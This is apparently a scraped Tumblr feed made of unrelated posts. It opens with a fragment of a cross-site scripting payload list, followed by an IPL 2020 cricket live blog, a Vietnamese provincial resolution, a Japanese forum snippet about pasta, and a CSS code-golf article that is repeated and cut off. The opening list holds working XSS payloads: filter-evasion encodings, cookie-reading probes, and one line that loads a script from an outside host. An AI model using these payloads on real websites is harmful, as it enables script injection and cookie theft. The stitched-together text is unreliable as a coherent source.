formaction="javascript:alert(123)">crosssitespt                    <frameset onload=alert(123)>                    <!--<img src="--><img src=x onerror=alert(123)//">                    <style><img src="</style><img src=x onerror=alert(123)//">                    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">                    <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">                    <embed src="javascript:alert(1)">                    <? foo="><script>alert(1)</script>">                    <! foo="><script>alert(1)</script>">                    </ foo="><script>alert(1)</script>">                    <script>({0:#0=alert/#0#/#0#(123)})</script>                    <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>                    <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>                    <script src="#">{alert(1)}</script>;1                    <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>                    <svg xmlns="#"><script>alert(1)</script></svg>                    <svg onload="javascript:alert(123)" xmlns="#"></svg>                    <iframe xmlns="#" src="javascript:alert(1)"></iframe>                    +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-                    %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-                    +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-                    %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-                    %253cscript%253ealert(document.cookie)%253c/script%253e                    “><s”%2b”cript>alert(document.cookie)</script>                    “><ScRiPt>alert(document.cookie)</script>                    “><<script>alert(document.cookie);//<</script>                    foo<script>alert(document.cookie)</script>                    <scr<script>ipt>alert(document.cookie)</scr</script>ipt>                    %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E                    ‘; alert(document.cookie); var foo=’                    foo\’; alert(document.cookie);//’;                    </script><script >alert(document.cookie)</script>                    <img src=asdf onerror=alert(document.cookie)>                    <BODY ONLOAD=alert(’XSS’)>                    <script>alert(1)</script>                    "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>                    <video src=1 onerror=alert(1)>                    <audio src=1 onerror=alert(1)>                                                        
     © 2019 GitHub, Inc.
       Terms
       Privacy
       Security
       Status
       Help
                 Contact GitHub
       Pricing
     API
     Training
       Blog
       About
1 note · View note
gokul2181 · 5 years ago
Text
RR vs MI Live Score: Hardik Pandya's blitz takes Mumbai Indians to 195/5 against Rajasthan Royals | Cricket News
New Post has been published on https://jordarnews.in/rr-vs-mi-live-score-hardik-pandyas-blitz-takes-mumbai-indians-to-195-5-against-rajasthan-royals-cricket-news/
RR vs MI Live Score: Hardik Pandya's blitz takes Mumbai Indians to 195/5 against Rajasthan Royals | Cricket News
Tumblr media
LIVE BLOG | LIVE SCORECARD (TARGET FOR RR: 196) OVERS 1.1: FOUR! Uthappa welcomes Pattinson with a boundary towards deep mid wicket. RR 9/0 James Pattinson comes into the attack End of OVER 1: Brilliant start from MI. Just 5 runs off Boult’s over. RR 5/0 Trent Boult will open the attack for MI. Here we go…!!! Robin Uthappa and Ben Stokes are at the crease. Welcome back! Mumbai Indians players are making their way to the middle. MUMBAI INDIANS 195/5 IN 20 OVERS AGAINST RAJASTHAN ROYALS Hardik Pandya: Was waiting for the one hit to get the rhythm and get back to hitting sixes which I love. I hit few from the bottom of my bat. The bat which I play with is my favourite. I’ve been using it for three years. I thought that before this game I was trying to hit in front of my body. This game I was trying to time it more. I don’t think we were aiming for that (195) but we keep doing it. MUMBAI INDIANS 195/5 IN 20 OVERS AGAINST RAJASTHAN ROYALS Hardik Pandya 60* (20 balls) Suryakumar Yadav 40 (26 balls) Jofra Archer 2/31 Shreyas Gopal 2/30
Innings Break!A quick-fire half-century at the back end of the innings by @hardikpandya7 as #MumbaiIndians post a… https://t.co/aGvCW0FzDb
— IndianPremierLeague (@IPL) 1603640675000
OVERS 20: SIX! Hardik Pandya finishes off in style. He signs off MI’s innings with a huge maximum towards long off. OVERS 19.5: SIX! FIFTY! Hardik Pandya brings up his half-century off just 20 balls. OVERS 19.4: FOUR! Look at the power. Pandya is at his best. He hits Tyagi for back-to-back boundaries. OVERS 19.2: SIX! Hardik Pandya leaves the crease and dispatches the ball over deep mid wicket fence. Brutal hit from Pandya. Kartik Tyagi to bowl the last over. End of OVER 19: 3 runs off Archer’s over. MI 168/5 Krunal Pandya comes to the crease OVERS 18.1: WICKET! Jofra removes Saurabh Tiwary for 34 runs. The batsman lofts this towards long on but fails to connect. Stokes takes a brilliant catch. Jofra Archer starts his fourth and last over. End of OVER 18: 27 runs off Rajpoot’s over. MI 165/4 OVERS 17.6: SIX! Fourth six of the over and all by Pandya. What a way to end the over. Pandya is on fire. OVERS 17.5: SIX! Another one by Pandya. This time over backward square leg. OVERS 17.4: SIX! What a shot. Muscular power and brilliant technique. Pandya did this in his own style towards long on. OVERS 17.1: SIX! Full toss from Rajpoot. Pandya dispatches it over long on. Rajpoot is back into the attack. End of OVER 17: 17 runs off Archer’s over. MI 138/4 OVERS 16.6: SIX! Short ball down the leg by Jofra. Tiwary pulls this over fine leg fence. OVERS 16.5: FOUR! Saurabh Tiwary goes on backfoot and launches this towards long on. OVERS 16.2: FOUR! Saurabh Tiwary guides Jofra Archer towards fine leg. Archer starts his third over. End of OVER 16: 5 runs off Tyagi’s over. MI 121/4 Kartik Tyagi starts his third over. BREAKING: BCCI announces schedule and venue details for IPL 2020 Playoffs The IPL Playoffs and final will be played from 5th November to 10th November. Qualifier 1 will be held in Dubai on 5th November followed by the Eliminator (6th November) and Qualifier 2 (8th November) in Abu Dhabi. The final will be held on 10th November in Dubai. The full schedule of the IPL 2020 Playoffs is as follows:
Tumblr media
15 overs gone! Mumbai Indians 116/4 OVERS 14.1: FOUR! That’s a loose delivery from Gopal. Saurabh Tiwary didn’t waste time and punishes him towards deep extra cover. Powerful shot from Tiwary. MI 112/4 Gopal starts his fourth and final over. End of OVER 14: 7 runs off Tewatia’s over. MI 108/4 OVERS 13.4: FOUR! Saurabh Tiwary smashes this powerfully towards deep mid wicket. Tewatia starts his fourth and last over. Hardik Pandya comes to the crease. OVERS 12.6: WICKET! Gopal strikes again. his googly does the job here. Pollard is completely bamboozled. Gopal castles Pollard for 6 runs. Two wickets in one over for Gopal. Superb stuff from the spinner. Smith has a big smile on his face. MI 101/4 OVERS 12.4: SIX! Pollard smashes Gopal for a six. Stokes is at the boundary ropes but fails to grab the ball. Kieron Pollard comes to the crease. OVERS 12.2: WICKET! Gopal gets another big wicket for RR. Suryakumar departs for 40 runs. Two well-settled batsmen have been sent back to the pavilion. Surya lofts this straight but finds Stokes at the boundary ropes. MI 95/3 Gopal starts his third over. End of OVER 12: 3 runs off Tewatia’s over. MI 94/2 Saurabh Tiwary comes to the crease End of OVER 11: Just 2 runs and Ishan’s wicket off Tyagi’s over. MI 91/2 OVERS 10.4: WICKET! Kartik Tyagi does the job for Smith here. He gets the big wicket. Ishan Kishan departs for 37 runs. Short and outside off from Tyagi. Ishan smashes this hard. Archer takes a magnificent catch at third man region. Superb stuff from him. Kartik Tyagi starts his second over. 10 overs gone! MI 89/1. Ishan 37*, Suryakumar 38* OVERS 9.6: FOUR! What a way to end the over. 6 runs off of the first five balls and Suryakumar scoops the ball towards backward square leg for a boundary. Tewatia starts his second over. End of OVER 9: 12 runs off Gopal’s over. MI 79/1 OVERS 8.6: FOUR! Suryakumar picks the length and smashes this over Gopal’s head for a boundary. The ball goes like a rocket straight down the ground. OVERS 8.3: FOUR! Suryakumar plays this wonderfully towards backward point. Gopal isn’t happy with this. Gopal starts his second over. End of OVER 8: Another good over for RR. Just 5 runs off Tewatia’s over. MI 67/1 Rahul Tewatia comes into the attack End of OVER 7: Just 3 runs off Gopal’s over. MI 62/1 Shreyas Gopal comes into the attack End of OVER 6: MI 59/1 OVERS 5.5: SIX! Short from Rajpoot. Ishan slaps the ball over fine leg fence. MI 59/1 OVERS 5.2: SIX! Suryakumar picks the length and launches the ball over backward square leg. What a shot from the Mumbaikar. Rajpoot starts his third over. End of OVER 5: 11 runs off Tyagi’s over. MI 45/1 OVERS 5: FOUR! Poor delivery from Tyagi. Suryakumar seems waiting for this delivery. Suryakumar shuffles across and sends the ball towards fine leg. OVERS 4.5: FOUR! Tyagi to Suryakumar. The batsman gets a thick inside edge and the ball races towards fine leg fence. Kartik Tyagi comes into the attack END of OVER 4: 13 runs off Rajpoot’s second over. MI 34/1 OVERS 3.4: FOUR! Excellent shot from Ishan. He uses the pace, opens the face of the bat and guides the ball towards third man for a boundary. MI 33/1 OVERS 3.1: Rajpoot to Ishan. 4 runs. LEG BYES. Rajpoot starts his second over. Most wickets in Powerplay this IPL 10 Trent Boult 8 Jofra Archer * 7 Deepak Chahar 6 Nortje/R Ashwin End of OVER 3: Just 1 run off Archer’s over. MI 21/1 Good news! Ishan resumes batting. OVERS 2.2: OUCH! Archer to Ishan. The batsman tries to flick but the ball hits on his right knee. Ishan is hurt. He is in pain. Physio is out. Jofra starts his second over. End of OVER 2: 10 runs off Rajppot’s over. MI 20/1 OVERS 1.5: FOUR! Ishan pulls this away through mid wicket. He is in top form. OVERS 1.2: FOUR! Rajpoot to Ishan. Inside edge and four. Ankit Rajpoot comes into the attack End of OVER 1: 10 runs and a big wicket of De Kock off Archer’s over. MI 10/1 Suryakumar Yadav comes to the crease. OVER 0.5: WICKET! Jofra Archer dismisses Quinton de Kock early. Archer castles De Kock for 6 runs. Huge success for RR. Archer raises his hand and celebrates in his style. MI 7/1 OVER 0.3: SIX! What a shot from De Kock. The South African smashes Archer over deep mid wicket region for a huge one. Jofra Archer will open the attack for RR. Here we go!!! Mumbai Indians openers Quinton de Kock and Ishan Kishan are in the middle. Rajasthan Royals captain Steve Smith is having a chat with his men. CAPTAINS’ TAKE: Steve Smith (Rajasthan Royals): Same team. We’ve played some reasonable cricket without getting over the line. Last one was a bit disappointing. Hopefully we can get over the line. We’ve got three games, for us it’s about winning them all. See how we go. Kieron Pollard (Mumbai Indians): We’re going to bat. Just one change – Pattinson in for Coulter-Nile. Pitch is fairly good. Done pretty well batting first. Couple of venues dew has played a major factor. Here, not so much. Whatever you do you have to do it properly. PLAYING XIs: Rajasthan Royals: Robin Uthappa, Ben Stokes, Sanju Samson(w), Jos Buttler, Steven Smith(c), Riyan Parag, Rahul Tewatia, Jofra Archer, Shreyas Gopal, Ankit Rajpoot, Kartik Tyagi Mumbai Indians: Quinton de Kock(w), Ishan Kishan, Suryakumar Yadav, Saurabh Tiwary, Hardik Pandya, Kieron Pollard(c), Krunal Pandya, James Pattinson, Rahul Chahar, Trent Boult, Jasprit Bumrah
A look at the Playing XI for #RRvMI#Dream11IPL https://t.co/pLrxoa2eNx
— IndianPremierLeague (@IPL) 1603633266000
TOSS: Mumbai Indians captain Kieron Pollard wins toss and opts to bat against Rajasthan Royals.
Captain Pollard wins the toss and #MumbaiIndians will bat first against #RR #Dream11IPL https://t.co/hH033wUaio
— IndianPremierLeague (@IPL) 1603633139000
It’s TOSS time, folks. Both the captains – Kieron Pollard and Steve Smith – are in the middle. Rohit Sharma misses out today’s game as well. Pollard will lead MI again. Hello and welcome to the Live coverage of the IPL 2020 match between Rajasthan Royals and Mumbai Indians.
Source link
0 notes
hosodangkynhanhieu · 6 years ago
Text
Nghị quyết 16/2019/NQ-HĐND về bãi bỏ Nghị quyết 66/2003/NQ-HĐND do tỉnh Cà Mau ban hành
X
CÁC NỘI DUNG ĐƯỢC SỬA ĐỔI, HƯỚNG DẪN
Các nội dung của VB này được VB khác thay đổi, hướng dẫn sẽ được làm nổi bật bằng các màu sắc:
     : Sửa đổi, thay thế, hủy bỏ
     : Hướng dẫn
Click vào nội dung được bôi màu      để xem chi tiết.
Số hiệu: 16/2019/NQ-HĐND Loại văn bản: Nghị quyết Nơi ban hành: Tỉnh Cà Mau Người ký: Trần Văn Hiện Ngày ban hành: 04/10/2019 Ngày hiệu lực: Đã biết Ngày công báo: Đang cập nhật Số công báo: Đang cập nhật Tình trạng: Đã biết
HỘI ĐỒNG NHÂN DÂN TỈNH CÀ MAU ——-
CỘNG HÒA XÃ HỘI CHỦ NGHĨA VIỆT NAM Độc lập – Tự do – Hạnh phúc —————
Số: 16/2019/NQ-HĐND
Cà Mau, ngày 04 tháng 10 năm 2019
  NGHỊ QUYẾT
BÃI BỎ NGHỊ QUYẾT DO HỘI ĐỒNG DÂN NHÂN TỈNH CÀ MAU BAN HÀNH
HỘI ĐỒNG NHÂN DÂN TỈNH CÀ MAU KHÓA IX, KỲ HỌP THỨ MƯỜI (BẤT THƯỜNG)
Căn c�� Luật tổ chức chính quyền địa phương ngày 19 tháng 6 năm 2015;
Căn cứ Luật ban hành văn bản quy phạm pháp luật ngày 22 tháng 6 năm 2015;
Xét Tờ trình số 112/TTr-UBND ngày 17 tháng 9 năm 2019 của Ủy ban nhân dân tỉnh Cà Mau ban hành Nghị quyết bãi bỏ nghị quyết do Hội đồng dân nhân tỉnh Cà Mau ban hành; Báo cáo thẩm tra số 102/BC-HĐND ngày 23 tháng 9 năm 2019 của Ban Pháp chế Hội đồng nhân dân tỉnh; ý kiến thảo luận của đại biểu Hội đồng nhân dân tại kỳ họp.
QUYẾT NGHỊ:
Điều 1. Bãi bỏ Nghị quyết số 66/2003/NQ-HĐND ngày 17 tháng 7 năm 2003 của Hội đồng nhân dân tỉnh Cà Mau về việc chấp thuận chủ trương xây dựng mặt bằng lộ nối dài từ Năm Căn đến Mũi Cà Mau.
Lý do: Tuyến đường Hồ Chí Minh đoạn Năm Căn – Đất Mũi được Bộ Giao thông vận tải đầu tư, xây dựng đến nay đã hoàn thành, đưa vào sử dụng.
Điều 2. Ủy ban nhân dân tỉnh triển khai thực hiện Nghị quyết này.
Điều 3. Thường trực Hội đồng nhân dân, các Ban Hội đồng nhân dân, các Tổ Hội đồng nhân dân và đại biểu Hội đồng nhân dân tỉnh giám sát việc thực hiện Nghị quyết.
Nghị quyết này đã được Hội đồng nhân dân tỉnh Cà Mau Khóa IX, Kỳ họp thứ Mười (bất thường) thông qua ngày 04 tháng 10 năm 2019 và có hiệu lực từ ngày 15 tháng 10 năm 2019./.
  Nơi nhận: – Ủy ban Thường vụ Quốc hội; – Chính phủ; – Bộ Tư pháp (Cục Kiểm tra VBQPPL); – Thường trực Tỉnh ủy; – Ủy ban nhân dân tỉnh; – BTT. Ủy ban MTTQ Việt Nam tỉnh; – Đại biểu HĐND tỉnh; – Các sở, ban, ngành, đoàn thể cấp tỉnh; – TT. HĐND, UBND huyện, thành phố; – Cổng Thông tin điện tử tỉnh; – Lưu: VT.
CHỦ TỊCH
Trần Văn Hiện
  Văn bản này chưa cập nhật nội dung Tiếng Anh
Nghị quyết 16/2019/NQ-HĐND về bãi bỏ Nghị quyết 66/2003/NQ-HĐND do tỉnh Cà Mau ban hành
121
Nghị quyết 16/2019/NQ-HĐND bãi bỏ Nghị quyết 66/2003/NQ-HĐND tỉnh Cà …
Chọn văn bản so sánh thay thế:
Tumblr media Tumblr media
CÁC NỘI DUNG SỬA ĐỔI, HƯỚNG DẪN
NỘI DUNG
Văn bản bị thay thế
Văn bản thay thế
Tumblr media
Chú thích:
Rà chuột vào nội dụng văn bản để sử dụng.
= Nội dung thay thế tương ứng;
= Không có nội dung thay thế tương ứng;
= Không có nội dung bị thay thế tương ứng;
= Nội dung được sửa đổi, bổ sung.
  Click trái để xem cụ thể từng nội dung cần so sánh và cố định bảng so sánh.
Click phải để xem những nội dung sửa đổi, bổ sung.
Double click để xem tất cả nội dung không có thay thế tương ứng.
Tắt so sánh [X] để trở về trạng thái rà chuột ban đầu.
Địa chỉ: 17 Nguyễn Gia Thiều, P.6, Q.3, TP.HCM Điện thoại: (028) 3930 3279 (06 lines) E-mail: [email protected]
Tumblr media
IP: 103.221.221.8
Xin chân thành cảm ơn Thành viên  đã sử dụng www.ThuVienPhapLuat.vn
Hiện tại THƯ VIỆN PHÁP LUẬT phiên bản hoàn toàn mới cung cấp nhiều tiện ích vượt trội:
Tra cứu dễ dàng bởi thanh công cụ tra cúu hoàn toàn mới
Tra cứu toàn bộ Văn bản Gốc;
Tra cứu hơn 280.000 văn bản Pháp Luật;
Ban Thư Ký Luật sẽ Thông báo tóm lược những Văn bản Quý khách cần, qua Email hoặc SMS, ngay khi nó vừa ban hành, hoặc vừa có hiệu lực;
Hỗ Trợ tư v��n Pháp lý sơ bộ miễn phí qua các hình thức: Điện Thoại, email.
Khi áp dụng văn bản, bạn sẽ được biết: • Ngày áp dụng của từng văn bản. • Tình trạng hiệu lực của từng văn bản.
Đặc biệt hỗ trợ tư vấn pháp lý sơ bộ miễn phí qua 3 hình thức: điện thoại, chat và email bởi bộ phận chuyên viên pháp lý.
Tumblr media
Xin chân thành cảm ơn Thành viên  đã sử dụng www.ThuVienPhapLuat.vn
The post Nghị quyết 16/2019/NQ-HĐND về bãi bỏ Nghị quyết 66/2003/NQ-HĐND do tỉnh Cà Mau ban hành appeared first on Hồ Sơ Đăng Ký Nhãn Hiệu.
https://ift.tt/2opdlZb
0 notes
plasticdreams · 8 years ago
Quote
95: 名無しさん@1周年 2017/06/16(金) 12:40:30.51 ID:VNCGGOQE0.net お前らのおすすめ海外パスタブランド教えて 98: 名無しさん@1周年 2017/06/16(金) 12:41:14.85 ID:+56FE+M40.net >>95 細いのはあかん。太くて安いの! 121: 名無しさん@1周年 2017/06/16(金) 12:51:34.82 ID:HMQvHkPAO.net >>95 スレ読めよボケ バリラとディチェコの名前が複数出てんだろ あとはブイトーニでも喰ってろや 126: 名無しさん@1周年 2017/06/16(金) 12:55:17.69 ID:G+ZLdSOU0.net >>95 ピエロが踊りながらつまみ食いしてるやつ 128: 名無しさん@1周年 2017/06/16(金) 12:56:37.30 ID:A3OhBlVq0.net >>95 ディチェコのNo.11食っとけばとりあえず間違いない
パスタがもっと安く買えるようになるかも!? 関税の大幅引き下げ : 飲食速報(゚д゚)ウマ-
31 notes · View notes
suzanneshannon · 6 years ago
Text
A CSS Golfing Exercise
Code golfing is a type of programming where the goal is to accomplish a task using as few bytes as possible. CSSBattle is a code golfing battleground where players complete to recreate target images using CSS and HTML.
The rules are fairly simple:
No external resources (sorry, no <img src="the-solution.png">)
Your solution must render correctly in Chrome (just for scoring purposes)
This can be a pretty fun departure from day-to-day front-end work. There’s no need to worry about maintainability, semantics, performance, accessibility, or anything other than making a thing really, really small and still render correctly.
A golf solution in 12 attempts
This type of thinking is a pretty dramatic departure from how most of us are writing front-end code for production sites (I hope!), so I’ve been posting all of my solutions on GitHub in an effort to both share some knowledge and learn from others. As a fortunate side effect, it also means there’s a fairly detailed history of my submissions.
Here’s a start-to-finish account of my attempts CSSBattle’s 7th target, which looks like this:
CSSBattle Target #7 — Leafy Trail
The "just center the dang thing" method
A reasonable first approach is to simply stick an element in the middle of the page, slap a box shadow and a border radius on it, and call it done. If we were writing this "for real," it might look like this:
<!DOCTYPE html> <html> <head> <style> body { background: #0B2429; margin: 0; } .leaf { width: 150px; height: 150px; border-radius: 67% 0; background: #F3AC3C; margin: 75px 0 75px 175px; box-shadow: -50px 0 #998235, -100px 0 #1A4341 } </style> </head> <body> <div class="leaf"/> </body> </html>
But that’s 423 bytes! That won’t do for CSS golf, so let’s see what we can remove.
Attempt 1: 144 bytes
<p style="margin:75 167;height:150;width:150;border-radius:67%0;box-shadow:-50px 0#998235,-100px 0#1A4341,0 0 0 5in #0B2429;background:#F3AC3C">
Here’s a golfed version. There’s definitely some weirdness going on here — no <!DOCTYPE>, no <html>, no <body>, no nothin’. The browser doesn’t need them (and, in fact, inserts them for us), so we save a lot of bytes by leaving them out. We’re using <p> instead of <div> since it’s shorter, and we don’t close the tag at all since it’s not required for things to render.
The CSS itself isn’t much different, aside from the fact that we’ve used a huge box shadow instead of a background on the body element ("background" is long so avoiding it can be beneficial). It’s also inlined in the element since a <style></style> tag costs extra bytes.
You may have noticed that we used 5in for the spread in our last box shadow. Playing with weird units is a huge part of CSS golfing. In this case, we just need the shadow to cover the 400x300 canvas and ‘5in' (480px) is shorter than any pixel value.
Attempt 2: 141 bytes
<p style=margin:75+167;height:150;width:150;border-radius:67%0;box-shadow:-50px+0#998235,-100px+0#1A4341,0+0+0+5in#0B2429;background:#F3AC3C>
This introduces a pretty important golfing trick: replacing spaces with plus signs allows us to remove the quotes around attributes, saving a couple bytes. I’m not totally sure why this works. Someone suggested it may be related to this part of the HTML spec. If you have a better answer, please let me know!
This attempt also cleans up a couple of whitespace mistakes from the last attempt.
Attempt 3: 126 bytes
<body bgcolor=F3AC3C style=margin:75+75+75+175;border-radius:67%+0;box-shadow:-50px+0#998235,-100px+0#1A4341,0+0+0+5in#0B2429>
Using a <body> tag instead of a <p> means that:
We no longer spend bytes setting height or width on a paragraph
We get access to bgcolor
bgcolor is a deprecated attribute that comes up often in CSS golf solutions. It only works on a few tags (<body> included), and does two great things:
Saves us from spending bytes on "background:"
Saves us a byte by allowing us to omit # in hex colors. Additionally, if a color ends in one or two zeros, we can remove them and it will still render correctly. For example, FFFF00 is the same as FFFF.
There’s a golf regression in this iteration! Can you spot it?
The "border" method
By this point, I had spent quite a few hours tinkering on and off with this target and was getting pretty stuck. Fortunately, CSSBattle has a friendly community on Spectrum that is more than willing to lend a hand.
At the time, Praveen held the #1 spot with two bytes fewer than I had managed, so I asked for some help. He suggested leveraging both the <body> and <html> elements to position everything while using borders in place of a background color.
Attempt 4: 126 bytes
<style>*{border-radius:67%+0;border:75px solid#F3AC3C;margin:0 50;box-shadow:-50px 0#998235,-100px 0#1A4341,0 0 0 5in#0B2429
This is a pretty huge departure from our last strategy. Our body tag is gone and we’re using <style>*{ to target the <html> and <body> tags that the browser inserts for us. The combination of margin and border nudges our shape exactly where it needs to be, and the box-shadow on <body> covers all the excess stuff you’d see from styling on <html>.
This was tough for me to grok, but Praveen made a diagram that explains things pretty well. Here’s a prettied up version:
Margins and borders on <html> and <body>
a and b are the margin and border on <html>, and c is the margin on <body>. The right margin on <body> doesn’t do anything since there’s no room to push the <body> to the left and it already has zero width.
Once our box shadows are applied, b is covered up and all that’s left is our target image.
There are still some optimizations missing here though. Dorus van den Oord was able to take the border method down to a lean 121 bytes, offering this cryptic bit of advice:
small hint for getting to that 121: What if you could move an element by a quarter of a ...?
Attempts 5 and 6: 122 bytes
<style>*{border-radius:67%+0;border:75px solid#F3AC3C;margin:0 50;box-shadow:-53q 0#998235,-25vw 0#1A4341,0 0 0 5in#0B2429
Turns out all we needed was a unit hardly anyone’s ever heard of (q) (and the humble vw). Having to write "px" is rarely correct in CSS golf, so it’s something to be on the lookout for. Here, we can replace 100px with 25vw and 50px with 53q.
A q, or quarter-millimeter, is exactly that — 1/4th of a millimeter, or just under a pixel. The q unit is a staple of CSS golf as one of two values (the other being %) that require just one byte to express. I’ve combined my 5th and 6th attempts here since both were just unit tweaks. We’re still a byte off from 121 though!
Attempt 7: 121 bytes
<style>*{border-radius:67%0;border:75px solid#F3AC3C;margin:0 50;box-shadow:-53q 0#998235,-25vw 0#1A4341,0 0 0 5in#0B2429
We finally fixed that regression from the third attempt, thanks to a pull request from Praveen. A percentage doesn’t need a space between it and subsequent values, so we can save a byte in our border-radius. This is a great example of how sharing code can help everyone involved. I had been stuck on this for a pretty dang long time.
The "funky margin" method
Borders aren’t the only approach, though! Enter Rasmus Fløe’s funky margin:
I got 123 chars on #7 by using box-shadow and a funky margin:75 400 75-150 :)
Attempt 8: 120 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+400+75-150;box-shadow:86mm+0#F3AC3C,73mm+0#998235,75vh+0#1A4341>
Here’s how this works, as Rasmus explains it:
positive right margin pushes it off canvas to the left — and negative left margin stretches the element to the wanted width :)
Here it is drawn out:
The Rasmus Fløe "funky margin" method
The right margin (b) pushes the <body> element all the way to the left, collapsing it to zero width. The negative left margin (a) then stretches it back to 150px wide (the width of the leaf shape), and then our box shadow (c) is offset enough to be in view. This is awesome because we no longer have to deal with negative box shadows in order to get everything to layer correctly.
We’re also back to bgcolor and get to leverage a nice quirk of background colors: because <html> doesn’t have its own background color, it inherits one from <body>.
Attempts 9 and 10: 118 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+340+75-90;box-shadow:7cm+0#F3AC3C,57mm+0#998235,55vh+0#1A4341>
With a bit more unit-wrangling we’re able to save ourselves two more bytes (props to Dorus, who was the first to discover this optimization). Adjusting the margins saves a digit (150 becomes 90), and, as a sweet bonus, we get to convert 86mm to 70mm, which becomes 7cm. I’ve again combined two attempts here which were minor unit fixes. (I’m embarrassed to say I initially missed the mm-cm conversion.)
Attempt 11: 117 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+85%75-90;box-shadow:7cm+0#F3AC3C,57mm+0#998235,55vh+0#1A4341>
Romain Deltour was the first to find this 117-byte solution. Changing 340 to 85% means we get to omit a space after one of our values (just like we did with border-radius), saving another byte.
Attempt 12: 115 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+85%75-90;box-shadow:7cm+0#F3AC3C,57mm+0#998235,55vh+0#7fd2>
Two full weeks after Romain’s 117-byte solution, Viacheslav Popov was able to alpha composite his way to 115 bytes via 4-digit hex codes.
I really love this because — not only is it dang clever — but a lot of people (myself included) thought the target had already been fully optimized. Viacheslav’s persistence both sparked a new round of discussion and added another CSS-Trick™ to our arsenal for future targets.
Attempt 13: <115 bytes?
This seems awfully close to optimal to me but that certainly doesn’t mean it can’t be beat — why not give it a shot? There's prior art to get you started, plenty of folks willing to help, and even some tooling. Happy golfing ⛳️
The post A CSS Golfing Exercise appeared first on CSS-Tricks.
A CSS Golfing Exercise published first on https://deskbysnafu.tumblr.com/
0 notes
siliconwebx · 6 years ago
Text
A CSS Golfing Exercise
Code golfing is a type of programming where the goal is to accomplish a task using as few bytes as possible. CSSBattle is a code golfing battleground where players complete to recreate target images using CSS and HTML.
The rules are fairly simple:
No external resources (sorry, no <img src="the-solution.png">)
Your solution must render correctly in Chrome (just for scoring purposes)
This can be a pretty fun departure from day-to-day front-end work. There’s no need to worry about maintainability, semantics, performance, accessibility, or anything other than making a thing really, really small and still render correctly.
A golf solution in 12 attempts
This type of thinking is a pretty dramatic departure from how most of us are writing front-end code for production sites (I hope!), so I’ve been posting all of my solutions on GitHubhttp://bit.ly/2H1sUv8) in an effort to both share some knowledge and learn from others. As a fortunate side effect, it also means there’s a fairly detailed history of my submissions.
Here’s a start-to-finish account of my attempts CSSBattle’s 7th target, which looks like this:
CSSBattle Target #7 — Leafy Trail
The "just center the dang thing" method
A reasonable first approach is to simply stick an element in the middle of the page, slap a box shadow and a border radius on it, and call it done. If we were writing this "for real," it might look like this:
<!DOCTYPE html> <html> <head> <style> body { background: #0B2429; margin: 0; } .leaf { width: 150px; height: 150px; border-radius: 67% 0; background: #F3AC3C; margin: 75px 0 75px 175px; box-shadow: -50px 0 #998235, -100px 0 #1A4341 } </style> </head> <body> <div class="leaf"/> </body> </html>
But that’s 423 bytes! That won’t do for CSS golf, so let’s see what we can remove.
Attempt 1: 144 bytes
<p style="margin:75 167;height:150;width:150;border-radius:67%0;box-shadow:-50px 0#998235,-100px 0#1A4341,0 0 0 5in #0B2429;background:#F3AC3C">
Here’s a golfed version. There’s definitely some weirdness going on here — no <!DOCTYPE>, no <html>, no <body>, no nothin’. The browser doesn’t need them (and, in fact, inserts them for us), so we save a lot of bytes by leaving them out. We’re using <p> instead of <div> since it’s shorter, and we don’t close the tag at all since it’s not required for things to render.
The CSS itself isn’t much different, aside from the fact that we’ve used a huge box shadow instead of a background on the body element ("background" is long so avoiding it can be beneficial). It’s also inlined in the element since a <style></style> tag costs extra bytes.
You may have noticed that we used 5in for the spread in our last box shadow. Playing with weird units is a huge part of CSS golfing. In this case, we just need the shadow to cover the 400x300 canvas and ‘5in' (480px) is shorter than any pixel value.
Attempt 2: 141 bytes
<p style=margin:75+167;height:150;width:150;border-radius:67%0;box-shadow:-50px+0#998235,-100px+0#1A4341,0+0+0+5in#0B2429;background:#F3AC3C>
This introduces a pretty important golfing trick: replacing spaces with plus signs allows us to remove the quotes around attributes, saving a couple bytes. I’m not totally sure why this works. Someone suggested it may be related to this part of the HTML spec. If you have a better answer, please let me know!
This attempt also cleans up a couple of whitespace mistakes from the last attempt.
Attempt 3: 126 bytes
<body bgcolor=F3AC3C style=margin:75+75+75+175;border-radius:67%+0;box-shadow:-50px+0#998235,-100px+0#1A4341,0+0+0+5in#0B2429>
Using a <body> tag instead of a <p> means that:
We no longer spend bytes setting height or width on a paragraph
We get access to bgcolor
bgcolor is a deprecated attribute that comes up often in CSS golf solutions. It only works on a few tags (<body> included), and does two great things:
Saves us from spending bytes on "background:"
Saves us a byte by allowing us to omit # in hex colors. Additionally, if a color ends in one or two zeros, we can remove them and it will still render correctly. For example, FFFF00 is the same as FFFF.
There’s a golf regression in this iteration! Can you spot it?
The "border" method
By this point, I had spent quite a few hours tinkering on and off with this target and was getting pretty stuck. Fortunately, CSSBattle has a friendly community on Spectrum that is more than willing to lend a hand.
At the time, Praveen held the #1 spot with two bytes fewer than I had managed, so I asked for some help. He suggested leveraging both the <body> and <html> elements to position everything while using borders in place of a background color.
Attempt 4: 126 bytes
<style>*{border-radius:67%+0;border:75px solid#F3AC3C;margin:0 50;box-shadow:-50px 0#998235,-100px 0#1A4341,0 0 0 5in#0B2429
This is a pretty huge departure from our last strategy. Our body tag is gone and we’re using <style>*{ to target the <html> and <body> tags that the browser inserts for us. The combination of margin and border nudges our shape exactly where it needs to be, and the box-shadow on <body> covers all the excess stuff you’d see from styling on <html>.
This was tough for me to grok, but Praveen made a diagram that explains things pretty well. Here’s a prettied up version:
Margins and borders on <html> and <body>
